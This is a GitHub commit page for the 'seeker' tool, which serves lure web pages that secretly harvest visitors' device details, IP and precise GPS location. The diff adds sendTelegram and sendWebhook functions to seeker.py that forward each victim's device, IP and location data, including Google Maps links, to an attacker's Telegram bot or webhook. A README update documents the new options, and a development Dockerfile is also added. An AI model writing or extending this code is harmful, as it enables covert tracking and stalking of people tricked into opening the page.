Skip to content

Commit

Permalink
Merge pull request #455 from Resousse/telegram-bot
Browse files Browse the repository at this point in the history
Telegram notification and webhook support
  • Loading branch information
thewhiteh4t authored Aug 9, 2023
2 parents 43b7ee2 + 8afbf50 commit fed4a7c
Show file tree
Hide file tree
Showing 3 changed files with 90 additions and 23 deletions.
14 changes: 14 additions & 0 deletions Dockerfile.dev
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
FROM alpine:latest
RUN apk update
RUN apk add --no-cache \
git \
bash \
python3 \
py3-pip gcc \
python3-dev \
php php-json openssh
RUN pip3 install requests packaging
WORKDIR /root/seeker
COPY . .
EXPOSE 8080
ENTRYPOINT ["/root/seeker/seeker.py"]
27 changes: 18 additions & 9 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -142,16 +142,21 @@ ngrok http 8080
```bash
python3 seeker.py -h

usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v]
usage: seeker.py [-h] [-k KML] [-p PORT] [-u] [-v] [-t TEMPLATE] [-d] [--telegram token:chatId] [--webhook WEBHOOK]

options:
-h, --help show this help message and exit
-k KML, --kml KML KML filename
-p PORT, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t, --template Auto choose the template with the given index
-d, --debugHTTP Disable auto http --> https redirection for testing purposes (only works for the templates having index_temp.html file)
-h, --help show this help message and exit
-k KML, --kml KML KML filename
-p PORT, --port PORT Web server port [ Default : 8080 ]
-u, --update Check for updates
-v, --version Prints version
-t TEMPLATE, --template TEMPLATE Auto choose the template with the given index
-d, --debugHTTP Disable auto http --> https redirection for testing purposes
(only works for the templates having index_temp.html file)
--telegram Send info to a telegram bot, provide telegram token and chat to use
format = token:chatId separated by a colon
--webhook Send events to a webhook endpoint to be processed
Note : endpoint must be unauthenticated and accept POST request

#########################
# Environment Variables #
Expand All @@ -173,7 +178,11 @@ Variables:
DISPLAY_URL Provide the URL to display on the page
MEM_NUM Provide the number of group membres (Telegram so far)
ONLINE_NUM Provide the number of the group online members (Telegram so far)

TELEGRAM Provide telegram token and chat to use to send info to a telegram bot
format = token:chatId separated by a colon
WEBHOOK Provide the webhook url to forward the events to
Note : endpoint should be unauthenticated and accept POST method


##################
# Usage Examples #
Expand Down
72 changes: 58 additions & 14 deletions seeker.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,13 @@
import requests
import traceback
import shutil
import re
import time
from os import path, kill, mkdir, getenv, environ
from json import loads, decoder
from packaging import version
import utils
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument('-k', '--kml', help='KML filename')
Expand All @@ -25,21 +28,24 @@
parser.add_argument('-v', '--version', action='store_true', help='Prints version')
parser.add_argument('-t', '--template', type=int, help='Load template and loads parameters from env variables')
parser.add_argument('-d', '--debugHTTP', type=bool, default = False, help='Disable HTTPS redirection for testing only')

parser.add_argument('--telegram', help='Telegram token and chat to use to send results to a telegram bot (format = token:chatId)')
parser.add_argument('--webhook', help='URL of the webhook to forward the events to (POST method and unauthentified)')

args = parser.parse_args()
kml_fname = args.kml
port = getenv("PORT") or args.port
chk_upd = args.update
print_v = args.version
telegram = getenv("TELEGRAM") or args.telegram
webhook = getenv("WEBHOOK") or args.webhook

if (getenv("DEBUG_HTTP") and (getenv("DEBUG_HTTP") == "1" or getenv("DEBUG_HTTP").lower() == "true")) or args.debugHTTP == True:
environ["DEBUG_HTTP"] = "1"
else:
environ["DEBUG_HTTP"] = "0"

templateNum = int(getenv("TEMPLATE")) if getenv("TEMPLATE") and getenv("TEMPLATE").isnumeric() else args.template


path_to_script = path.dirname(path.realpath(__file__))

SITE = ''
Expand Down Expand Up @@ -114,6 +120,35 @@ def banner():
utils.print(f'{G} |---> {C}Community : {W}{comms_url}')
utils.print(f'{G}[>] {C}Version : {W}{VERSION}\n')

def sendWebhook(content):
if webhook is not None:
if not webhook.lower().startswith("http://") and not webhook.lower().startswith("https://"):
utils.print(f'{R}[-] {C}Provided webhook endpoint is not correct should be http or https scheme, on a POST method and unauthenfied{W}')
return
cpt = 3
for i in range(cpt):
r = None
try:
r = requests.post(webhook, json=content)
except:
r = None
if r and r.ok:
return
time.sleep(i + 1)
utils.print(f'{R}[-] {C}Unable to reach the webhook endpoint, ensure it listens on a POST method and unauthenfied{W}')

def sendTelegram(content):
if telegram is not None:
tmpsplit = telegram.split(':')
if len(tmpsplit) <3:
utils.print(f'{R}[-] {C}Provided Telegram bot information invalid : expected format is token:chatId (with colon){W}')
return
content = re.sub('\33\[\d+m', ' ', content)
r = requests.get('https://api.telegram.org/bot'+tmpsplit[0]+':'+tmpsplit[1]+'/sendMessage?chat_id='+tmpsplit[2]+'&text='+urllib.parse.quote_plus(content))
if r:
utils.print(f'{G}[+] {C}Successfully sent to Telegram bot {W}')
else:
utils.print(f'{R}[-] {C}Unable to send to Telegram bot {W}'+r.status_code+" => "+r.text)

def template_select(site):
utils.print(f'{Y}[!] Select a Template :{W}\n')
Expand Down Expand Up @@ -234,8 +269,7 @@ def data_parser():
var_ip = info_json['ip']

data_row.extend([var_os, var_platform, var_cores, var_ram, var_vendor, var_render, var_res, var_browser, var_ip])

utils.print(f'''{Y}[!] Device Information :{W}
deviceInfo = f'''{Y}[!] Device Information :{W}
{G}[+] {C}OS : {W}{var_os}
{G}[+] {C}Platform : {W}{var_platform}
Expand All @@ -246,7 +280,10 @@ def data_parser():
{G}[+] {C}Resolution : {W}{var_res}
{G}[+] {C}Browser : {W}{var_browser}
{G}[+] {C}Public IP : {W}{var_ip}
''')
'''
sendTelegram(deviceInfo)
sendWebhook(info_json)
utils.print(deviceInfo)

if ip_address(var_ip).is_private:
utils.print(f'{Y}[!] Skipping IP recon because IP address is private{W}')
Expand All @@ -265,16 +302,17 @@ def data_parser():
var_isp = str(data['isp'])

data_row.extend([var_continent, var_country, var_region, var_city, var_org, var_isp])

utils.print(f'''{Y}[!] IP Information :{W}
ipInfo = f'''{Y}[!] IP Information :{W}
{G}[+] {C}Continent : {W}{var_continent}
{G}[+] {C}Country : {W}{var_country}
{G}[+] {C}Region : {W}{var_region}
{G}[+] {C}City : {W}{var_city}
{G}[+] {C}Org : {W}{var_org}
{G}[+] {C}ISP : {W}{var_isp}
''')
'''
sendTelegram(ipInfo)
utils.print(ipInfo)

with open(RESULT, 'r') as result_file:
results = result_file.read()
Expand All @@ -284,6 +322,7 @@ def data_parser():
utils.print(f'{R}[-] {C}Exception : {R}{traceback.format_exc()}{W}')
else:
status = result_json['status']
sendWebhook(result_json)
if status == 'success':
var_lat = result_json['lat']
var_lon = result_json['lon']
Expand All @@ -293,24 +332,29 @@ def data_parser():
var_spd = result_json['spd']

data_row.extend([var_lat, var_lon, var_acc, var_alt, var_dir, var_spd])

utils.print(f'''{Y}[!] Location Information :{W}
locInfo = f'''{Y}[!] Location Information :{W}
{G}[+] {C}Latitude : {W}{var_lat}
{G}[+] {C}Longitude : {W}{var_lon}
{G}[+] {C}Accuracy : {W}{var_acc}
{G}[+] {C}Altitude : {W}{var_alt}
{G}[+] {C}Direction : {W}{var_dir}
{G}[+] {C}Speed : {W}{var_spd}
''')

utils.print(f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}')
'''
sendTelegram(locInfo)
utils.print(locInfo)

googleMaps = f'{G}[+] {C}Google Maps : {W}https://www.google.com/maps/place/{var_lat.strip(" deg")}+{var_lon.strip(" deg")}'
sendTelegram(googleMaps)
utils.print(googleMaps)

if kml_fname is not None:
kmlout(var_lat, var_lon)
else:
var_err = result_json['error']
utils.print(f'{R}[-] {C}{var_err}\n')
errmsg = f'{R}[-] {C}{var_err}\n'
sendTelegram(errmsg)
utils.print(errmsg)

csvout(data_row)
clear()
Expand Down

0 comments on commit fed4a7c

Please sign in to comment.